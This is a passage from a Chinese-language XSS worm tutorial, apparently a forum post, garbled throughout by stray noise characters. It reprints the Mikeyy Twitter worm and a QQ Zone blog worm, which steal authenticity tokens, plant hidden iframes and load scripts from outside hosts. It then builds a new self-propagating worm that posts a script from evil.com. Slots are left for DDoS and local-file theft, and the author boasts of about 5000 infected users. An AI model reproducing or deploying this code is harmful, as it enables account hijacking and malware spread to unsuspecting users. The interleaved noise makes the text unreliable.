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XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);8 j# @; \5 [$ O# _
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XmlHttp.send(null);
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<script>' s! ?$ O2 M C \* s
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.* g5 T+ l* @3 l' y" J. W+ P$ g! R# H
复制代码案例:Twitter 蠕蟲五度發威
$ S1 {% w A7 U" A第一版:
0 i/ m6 T( }/ j ]& H* m8 \ 下载 (5.1 KB)
3 U- \# R8 n9 J) P% n
0 M% y/ ~! q; o4 b; V6 天前 08:27
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第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""]; ) u5 U) O$ ~+ ]- V
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2. " E7 Q( e, g9 @$ c5 Y
# u$ c. f+ S; ]& A* ?. r) S5 q
3. function XHConn(){
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4. var _0x6687x2,_0x6687x3=false;
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) z- X4 Q% s! L. x+ l; G- E 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } 0 Z1 W1 i- I/ ?# l' F$ y
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6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } , r/ @, O" K! {3 _ I- w
9 U/ N8 g& I7 t/ J' }* W
7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } 4 F, \& a1 m" P. k
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8. catch(e) { _0x6687x2=false; }; }; }; / H6 Z2 _, {0 R7 |% Y
复制代码第六版: 1. function wait() {
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2. var content = document.documentElement.innerHTML;
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0 d2 w$ Z. e$ L" t 3. var tmp_cookie=document.cookie; y6 h- h5 s2 M- I' X
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4. var tmp_posted=tmp_cookie.match(/posted/);
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5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g); ; U$ d) x& }. _4 U4 N0 D
* j, K" c$ z4 P) x7 D! } 6. var authtoken=authreg.exec(content);
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7. var authtoken=authtoken[1];
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8. var randomUpdate= new Array(); % Q q# e* {4 C+ I3 S$ i- v
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9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy."; 8 T4 y2 f) x+ b( f
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10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; 2 c) o8 }9 r* {- z9 ]
5 @% @3 W6 Q" s+ }* v4 S4 R' { 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; % t. ?8 [; S* Q! D
+ D: o4 j6 s& Q) P( Z3 q! U ]7 p 13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; ( ^2 p4 ?' w5 h2 p
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14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
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15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy."; 5 Z! g! [' m3 k: U, |0 {8 u' t* N9 E
$ u% D% | \: H, z! W, e 16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
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0 F% ~0 R/ T! D( c2 F- V# a 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
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1 F" \. R+ w. W+ k& D3 ?: i 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; " l9 f1 @9 Q$ {+ a; F- L" {
" r& ^) y$ p; Z5 G6 @ 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; 5 v. L9 W& F/ b3 s! \. r
- t5 T! L5 D; [. b0 |/ \8 k 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy."; 7 O$ {" U, V* P7 N
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21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
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) L8 ~! r y% G- Z( b) j 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF"; 2 u- Z2 X, i/ J$ }7 \
/ ?# `1 H6 K# l. b
23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe"; ' Z* Z/ ]- w+ X# S! B" c- W
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24.
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25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)]; & J; o: D6 L$ u# |% u
% p" m4 t% } K2 i2 A( w* y 26. var updateEncode=urlencode(randomUpdate[genRand]); $ h- `2 w; q9 C( i
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27.
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6 t, n! G$ W' g: l9 A* i+ q/ M 28. var ajaxConn= new XHConn();
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29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
9 P' Y8 p0 d. z: H- Z a' }
' O9 N7 l1 l- X* ] o! n 30. var _0xf81bx1c="Mikeyy"; 4 X% `% H, k P3 X$ V( i
) L/ T- M+ `3 A! e u9 a
31. var updateEncode=urlencode(_0xf81bx1c);
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; @. h7 M; l# ]) R& ] 32. var ajaxConn1= new XHConn();
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, H; ~4 n! [/ ]6 G 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); ) b7 I2 M; e' m0 J
- N. Z8 t6 k6 `3 F2 C2 r 34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
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35. var XSS=urlencode(genXSS);
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36. var ajaxConn2= new XHConn();
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37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
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38.
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39. } ; ) t$ C3 A' i) [- F
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40. setTimeout(wait(),5250); 2 ?- \, B1 ^) g* ]- q# ]7 l v
复制代码QQ空间XSSfunction killErrors() {return true;}
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window.onerror=killErrors;
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/ D: @' s& c& ?/ `3 f
' i2 D" f0 t z. qvar shendu;shendu=4;
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: c: F" V9 r4 h- X* B" @, ]//---------------global---v------------------------------------------
) a* Q0 k) x8 X
+ }6 S' ]6 [$ ]1 N//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?9 H) J) U( `% y" Z7 e/ D. L' W
5 X9 W2 b/ L6 i6 \7 J/ J8 vvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
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var myblogurl=new Array();var myblogid=new Array();
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% ^/ o. t, O( x4 J, E6 n. C/ v var gurl=document.location.href;, O3 H. v2 j/ C1 B
8 `* e0 a. T" b& J6 o var gurle=gurl.indexOf("com/");
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3 i3 k3 \' m3 r- y0 Z/ t. U- x- c gurl=gurl.substring(0,gurle+3);
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var visitorID=top.document.documentElement.outerHTML;
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var cookieS=visitorID.indexOf("g_iLoginUin = ");
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' x" w" l) D3 n& n. B, C visitorID=visitorID.substring(cookieS+14);
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: D: ]9 ~- ~3 k" }& j! g- Z cookieS=visitorID.indexOf(",");
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4 R7 e$ ^" `0 a( v( z# I3 i: W7 r: X7 k$ h visitorID=visitorID.substring(0,cookieS);
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get_my_blog(visitorID);
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+ \) N7 P: n4 L* h3 w+ q DOshuamy();$ n' R' F7 m+ d$ u8 b
1 @/ w$ W5 U3 |6 D; N }
& ~0 n* M4 [' Q
8 t. V& C5 G2 p% o) Z//挂马
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function DOshuamy(){
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, o3 s9 j/ ~: |! O& L7 l4 Z e4 Lvar ssr=document.getElementById("veryTitle");
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ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
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& F% L2 S8 c- H( O2 U U" \4 z: B/ r//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
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4 v2 S0 B7 X/ y* o- A6 }function get_my_blog(visitorID){* {6 ]6 p" u4 F# f4 N& f
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userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";* P4 G* j; p0 g$ p4 x8 M( B
6 ~' G8 r- ^5 Z1 D g; r7 ] r u xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
* s# N! l% }- t
6 Z3 p2 T" m9 j if(xhr){ //成功就执行下面的
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& y8 m- B* p3 E2 R xhr.open("GET",userurl,false); //以GET方式打开定义的URL
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8 c5 V( ]* w+ H) D xhr.send();guest=xhr.responseText;
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+ G7 q$ M. u) J1 i* Q* [% a get_my_blogurl(guest); //执行这个函数& [. V( e6 a( \4 p9 k( D
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3 k% G. O n) p- v$ _* Z0 n1 I//这里似乎是判断没有登录的
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. Y5 Z3 R! U# ]% |" K$ dfunction get_my_blogurl(guest){; V* h+ Y* e, P
- m4 l* ^& D# [) v" }* u. p var mybloglist=guest;9 l4 t+ c4 O' E s/ [! i
4 n' P1 @6 K' _% |0 k var myurls;var blogids;var blogide;
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for(i=0;i<shendu;i++){1 l; w0 w6 L# ]: [% C+ D
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myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
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3 Z; E, P) I0 E( J1 I+ k. c if(myurls!=-1){ //找到了就执行下面的
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mybloglist=mybloglist.substring(myurls+11);
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myurls=mybloglist.indexOf(')');
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2 y9 l6 j9 w4 D4 N2 ? myblogid=mybloglist.substring(0,myurls);" m6 j/ t* e% r, }5 q/ ^% r n
* U) B4 z5 R7 O+ N/ v; Q! K) S }else{break;}- |" u: G/ `# s7 }
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}
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W: `4 T2 |1 G4 o, t2 Q+ M& m; dget_my_testself(); //执行这个函数: D) @- y. J# s' I2 a9 Z3 t
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; m* H2 h2 a6 ]& i//这里往哪跳就不知道了
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function get_my_testself(){
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for(i=0;i<myblogid.length;i++){ //获得blogid的值
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var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
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2 \* S L* x4 @( ]" ]% N var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象$ G# ?# }7 {5 L+ d, K7 F* H! U! V
/ R i) R" D5 w3 J Y9 I* n if(xhr2){ //如果成功3 ^9 z! z5 P, y
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xhr2.open("GET",url,false); //打开上面的那个url
1 z" W5 N8 ]+ r$ Z Z! D" B8 k' l) K* f7 F. r# V- \
xhr2.send();
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Q+ p- S; x- P& j6 X) n, P2 [ guest2=xhr2.responseText;
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var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?8 K8 U M0 e, D w! O
& i2 |' F/ u/ a o2 e% ]. D
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
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- d5 U! F" m q3 `) q3 m8 R$ y4 R if(mycheckmydoit!="-1"){ //返回-1则代表没找到
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targetblogurlid=myblogid; 8 O4 v* R' s# @8 R, W1 a {# }
3 ~$ ]# Y( D+ m add_jsdel(visitorID,targetblogurlid,gurl); //执行它8 ?& g0 t" `1 L* q
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break;
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if(mycheckit=="-1"){
7 z1 r5 U0 C$ r5 C4 o* Q3 t5 ~& w. W) ~9 p, J; Z3 `/ Z m
targetblogurlid=myblogid;
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add_js(visitorID,targetblogurlid,gurl); //执行它
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) @0 S% V$ p# x break;
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}
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+ B7 d. h# P: \4 a) N }
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2 K. M9 p! E/ V1 ]4 D# P4 B. Y//-------------------------------------- % A) L Y. ^ M; P
" O, m: b( s- E* i7 M//根据浏览器创建一个XMLHttpRequest对象
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function createXMLHttpRequest(){
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var XMLhttpObject=null; ! ^: |1 O" }# D! S3 e4 i9 P
. E4 v8 b+ H+ q( y+ Z' l if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
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else % l @; {1 t% B4 Q: l
|7 G" R( w; y4 M% b. J) m { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
# N- F. @3 h1 W
/ ~3 S U3 z6 V' Z% ^1 k7 ~ for(var i=0;i<MSXML.length;i++)
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{ + V0 }: `! A4 Y7 `5 g
" {6 R1 C7 r3 s try # C- G$ |2 L" F1 a
% C4 A) r. u& Q/ l; Z: C
{
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XMLhttpObject=new ActiveXObject(MSXML);
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break; 6 n2 i- Z6 \7 k# @6 g
6 _/ I) i& `; w' ?
} ! }& Y# N6 J& c
; t. [' t# _2 Z/ ^6 ]
catch (ex) {
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} ' |& R3 Z+ F; j& g
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return XMLhttpObject;
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7 X3 I' W# n! @) T+ b: G
8 U2 h" I1 G- x
k# G! L$ H$ Z4 g, ^//这里就是感染部分了
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function add_js(visitorID,targetblogurlid,gurl){ E/ `7 y2 S$ O0 }' E3 {; Z
8 Y5 w, L! U# n/ B$ E' F& uvar s2=document.createElement('script');1 U$ z ~% `( E" J# K. K1 O8 a. m% x
, \) h$ x. V/ g0 b6 c8 `* zs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();% G- [& i$ h! s2 e( O
+ D6 {& N$ y, ms2.type='text/javascript';
9 M: [! {* S6 ~" e' R1 D0 l' T! R5 Q2 t1 g
document.getElementsByTagName('head').item(0).appendChild(s2);% P& O9 l- v M7 U2 p! a
* B' A L% g3 }8 T$ ~}
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function add_jsdel(visitorID,targetblogurlid,gurl){) Z5 _) v" F* |* p$ V0 F
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var s2=document.createElement('script');$ \; Q ^5 t1 O6 Q( y: Q5 v$ |
' R1 r9 C# y* P# N1 U2 rs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
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) ^ M9 J& u7 O2 O. x7 \7 j- ss2.type='text/javascript';
% x! P3 y6 v) ^' j5 O2 ^
) v, [, A, n7 O: hdocument.getElementsByTagName('head').item(0).appendChild(s2);8 a1 r0 B$ G( ?
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复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
- H" m! [$ I: s3 V* o6 Q& c! B1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
$ }0 _" v5 O6 X& N5 X3 f, e4 W( s* X% \& [+ @9 Q
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
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综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
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5 v" `5 x5 Q9 A+ T) Z' X% P9 R- C) }9 V* h3 G6 B" W' v* w, w& L: N
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.& E) q- F. \- X; _9 {
4 H! F+ D! H. _& s0 ~首先,自然是判断不同浏览器,创建不同的对象var request = false;
! { j4 M' \8 V- l) c
/ l' `# n+ v. M( [/ @if(window.XMLHttpRequest) {
8 D' d* }1 f* V( }, n- v0 [4 j4 y9 b# L7 ?8 n. p; D( o( U( S
request = new XMLHttpRequest();7 Z) p" ^+ B! T3 |$ z' U3 ~0 x# \
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if(request.overrideMimeType) {
9 s6 I& F% X$ R, \
2 N1 @# h* f4 y! T" E" irequest.overrideMimeType('text/xml');
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}
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} else if(window.ActiveXObject) {5 V- S/ F' H9 a9 a9 R
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
* J5 `* o' G! ^- |. V( S0 \9 K1 t6 K. P+ Z/ ~1 ?8 V0 `5 D) f
for(var i=0; i<versions.length; i++) {5 z9 b5 B5 i. x5 p( ]
" z- y$ R0 \1 etry {/ u( S! ^2 I) I# }* {( _5 W
& G: x3 c' [. t( z9 F3 D% t% E& ?% u1 drequest = new ActiveXObject(versions);
( C- f* n# D+ v( b* R
4 R7 ~6 v, m7 _! Z} catch(e) {}
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0 _1 W. W4 P( ]$ h- f& T}
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xmlHttpReq=request;9 P) k! `: |# R
复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){
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var Browser_Name=navigator.appName;
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var Browser_Version=parseFloat(navigator.appVersion);8 D( E2 x1 R. x
. y; k/ D) Y0 c var Browser_Agent=navigator.userAgent;
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) i$ @6 U; K% G! v
+ N/ g+ R H5 O) b. e7 w& A; i# F var Actual_Version,Actual_Name;
. P) S& `% I4 @' K$ E1 O) o5 m/ e+ l
" |4 I7 f! q5 v$ p
/ M! {3 f' H# {8 ] var is_IE=(Browser_Name=="Microsoft Internet Explorer");
8 q# y7 J4 c3 I7 u5 d C7 B- Z
8 x4 _3 U4 G# W2 I# v/ y var is_NN=(Browser_Name=="Netscape");
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' |0 W$ [. X% M" ?9 H F) m/ R# Z# h var is_Ch=(Browser_Name=="Chrome");
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9 x9 a2 w, X7 c# y! {2 [ " Y6 h C P. a2 Y8 D8 b
4 u0 c7 T R# w% L4 @' U if(is_NN){& f$ `2 i/ I e2 N/ d! j
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if(Browser_Version>=5.0){" Y5 K( y& E& V8 Q1 T! c
4 q" k' ^" ]8 R3 I+ f- ^4 b5 U
var Split_Sign=Browser_Agent.lastIndexOf("/");
$ u( a( s+ L" Q( \
* U) k+ y3 s6 V) {2 D b/ Z% I var Version=Browser_Agent.indexOf(" ",Split_Sign);' t1 ]: B: i# P2 f6 Z1 `
i6 d9 x' |; i var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);9 E/ n( }0 C' i: D. v2 O0 E
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4 o3 b2 J+ e5 e3 |" q6 q- y* n7 d2 J9 g! G/ [2 U/ s0 z
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version); q2 O6 q5 C7 V8 t% ^2 a" L- i
! h% d# P* _, t7 S Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
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5 D1 O6 k# Y0 `; Z. }* }- E }5 f" h- V" s; N3 F8 S" ?
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else{
O# i. p. X# B; ` i3 h4 x$ z- O; H( u9 w( K, b: `( s
Actual_Version=Browser_Version;# f1 F. ?0 ?- T" ]5 [
0 B" c8 l8 _; r2 \0 P# d! _" d Actual_Name=Browser_Name;
5 P6 _2 M1 H! M: _. J, c5 v9 ~, A; ]1 H$ K: @3 h2 H
}& ?) I( c; t% z* N
0 a; n, I% V; s4 }- S! }: m8 m }2 ^. B& a6 v6 d! Z# f
, ]) |* K4 S/ P/ f% a4 T9 @' k! }& _ else if(is_IE){
9 f0 W* o2 g: G- z. h
( |. L" u# _8 y" i var Version_Start=Browser_Agent.indexOf("MSIE");
: R: N$ O5 q# e. j3 \- J) {
A7 i' W4 {/ L/ b& r* h7 |( k var Version_End=Browser_Agent.indexOf(";",Version_Start);5 e1 T6 d$ i) F6 J7 P2 S/ M( Z
. i6 k1 v0 w2 `' \4 K3 w! l Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
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Actual_Name=Browser_Name;
" }+ m& J5 V' q( b) P+ Q2 y! X3 Z5 v
$ X* `+ E% ?7 v8 ]% x
9 }& C& T" G5 Q+ l O: p if(Browser_Agent.indexOf("Maxthon")!=-1){
# z& |2 m3 v$ q9 ]& u! | U7 h2 f9 O7 I% `& ^
Actual_Name+="(Maxthon)";! ~% W8 J- }. `8 I9 J" l; K
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}9 D0 T% n) e9 p6 T1 @& P9 x+ S
) ]8 ^' n5 n G else if(Browser_Agent.indexOf("Opera")!=-1){$ I- l+ a; C% m) B5 r* a4 i
1 }8 F8 [6 Q3 W- p
Actual_Name="Opera";3 ^% ^' d. K) I3 O7 _
$ W- e$ W- k; b- z6 v7 Y
var tempstart=Browser_Agent.indexOf("Opera");
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var tempend=Browser_Agent.length;9 _* a! |; S7 D( b
0 v$ F/ L1 j5 B; E. n
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
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}/ e: h: e# N" ]+ \
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u4 Q/ ]) m! @5 B6 c
else if(is_Ch){
4 H: p. L- a o, ?0 ^# ^7 ]6 T5 |* d7 p' w* o; e8 o9 y+ `* X# V) F2 s
var Version_Start=Browser_Agent.indexOf("Chrome");0 a# r% V4 [6 x9 p! l l
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var Version_End=Browser_Agent.indexOf(";",Version_Start);
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Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)2 T, b* X3 V% G. E: a& W3 g
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Actual_Name=Browser_Name;2 X% @2 Q1 K. l, d; _
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3 q" S J0 w$ _4 p: q
' J+ V2 H# T4 Y! ^
if(Browser_Agent.indexOf("Maxthon")!=-1){
: J$ z! R) r* k& @# m- L6 l
, [/ n" s& N0 N; d4 s9 g Actual_Name+="(Maxthon)";3 Y5 y& f# _4 `' B4 n6 H, N& S) a
6 H5 G% a- r& N/ m6 D0 {" h) v& b }
$ x0 e7 i6 \; g% |
: ^5 S' N; U. [7 v0 ~2 O) K else if(Browser_Agent.indexOf("Opera")!=-1){4 X/ n: J }- b$ V& e+ [
9 e; Y0 L, C$ L7 Q7 h a, D Actual_Name="Opera";7 c V. f Y: b3 H, _
- V6 O( H) U7 P. X; ^( t var tempstart=Browser_Agent.indexOf("Opera");
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! u5 A1 F) [+ ?% J8 }5 ^, q var tempend=Browser_Agent.length;
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Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
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" _ [' [/ p* r+ \5 Y% N7 \: }) G }2 q' n( u& H6 `# C4 I/ r% k& Z e
1 d" E2 D9 S3 e$ | }# o& n, R' `# e5 D
( \& w5 x& H2 y* x( M: Q7 |5 l else{
2 Z# _. r6 `" D
. Z- G5 E# n' e2 O* C+ z Actual_Name="Unknown Navigator"; ^) z) l E& a+ X/ @5 Q$ t
! ?8 p5 W6 u, p0 T a$ C" w
Actual_Version="Unknown Version"- n6 ?. H6 I- u- U6 g; p
1 a) ]# m# }0 J, o# l% y2 y }
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0 e, x/ W [8 u* @1 a3 j3 ^
0 p; q. L2 ?3 ^
4 I! o6 [6 j' i( i9 @& c navigator.Actual_Name=Actual_Name;6 f7 |% w+ ?& @" \8 Y" m
% j$ P4 u4 ^1 H' u) Z; N navigator.Actual_Version=Actual_Version;2 @/ Q3 u9 ?! A- V$ a0 r9 ?! b
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( }# P- ] w) D
8 H T' Y% M. m% c! |# H0 h1 H this.Name=Actual_Name;( N/ ?* ]. _( u' g: `
5 D9 a. c/ O6 k } this.Version=Actual_Version;
# O Y r) G/ k0 A* g' b4 k( L+ u* \$ z4 N
}: u O U) B- ?3 A6 k' k5 ~0 H0 P
4 ]: h, V8 Z2 {; L4 f8 B% m browserinfo();4 b) \ V$ K; J, Z
" ^% Y1 R/ ]+ {: s, Q if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}8 R4 l0 ?* f' V% x* O
. \5 P6 K2 Q; j+ w$ p0 y$ p6 V
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}1 F% V; U+ M, h7 w! q% z( b
2 ~& V. m0 P% E) M! ^ if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
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/ v2 t$ x$ M f* `/ t: v if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
( i9 j9 L% s4 \) y4 Z8 Q复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码2 ` y* ~+ h: Z8 Q4 l
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码3 g9 p7 o$ r" B( A3 v, ~
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.3 y& G. r8 w, |
/ c4 q1 N! D7 A1 p, |$ e# A
xmlHttpReq.send(null);5 J+ d! Q$ P; ^4 z7 b* [
' X# v& t3 C( D y O5 cvar resource = xmlHttpReq.responseText;
. ^" p% S: J2 T+ d! v5 U4 G' b2 S. S$ k7 f9 Y) a& Z7 n
var id=0;var result;
) i" C* W+ B1 }/ `9 O# `5 U' [2 u; ]
' H; Y+ J( R) h; \9 Nvar patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
( W5 f6 r3 c; B. O6 \# M. i" v- [) T/ S" ]( }/ n7 X% X) t! P
while ((result = patt.exec(resource)) != null) {4 t# @9 e, p' [; @. C+ p+ s: a# Q3 i
& q1 |9 N4 g7 c/ Z( \, D4 s$ Qid++;
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复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.( w9 F8 [( e4 N8 Y
5 f, L" }+ f+ x. s- w- M4 i4 Y" Bno=resource.search(/my name is/);" e- w% B; Z( O% v$ t E3 f( |' x* e
: ^: v( ]( s" m: F( c3 N3 }var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.! @0 }% Y% D6 W2 T; }
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var post="wd="+wd;
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xmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");3 \/ m; @* ~+ m. w
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xmlHttpReq.setRequestHeader("content-length",post.length); 9 x7 S- r5 T# k3 e) w
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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xmlHttpReq.send(post);
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}
G& A' N$ w* q7 O. j4 P9 P9 a/ m' L; F复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{! g7 z- U1 I, q" s: e
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var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方0 O3 ]9 ?$ F3 |5 h
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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.% L$ Z2 S3 ?$ t5 V& R3 a
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var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.. Y+ M3 u/ b+ u8 @
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|! L& S! p; q) J: lxmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);3 z. e' e# n5 v+ Y7 ^
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");0 C. X( V5 h3 Y
& r6 [. B! g4 d* N: wxmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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( a0 Y! `5 h, [$ A4 {xmlHttpReq.send(post); //把传播的信息 POST出去.
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}
; v3 \" I0 {1 ^" }- O5 B复制代码-----------------------------------------------------总结-------------------------------------------------------------------
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" B* x2 o9 c9 l" W6 x7 s1 u本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.5 O' ]& c$ f; t8 V3 Z5 |7 W1 I
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
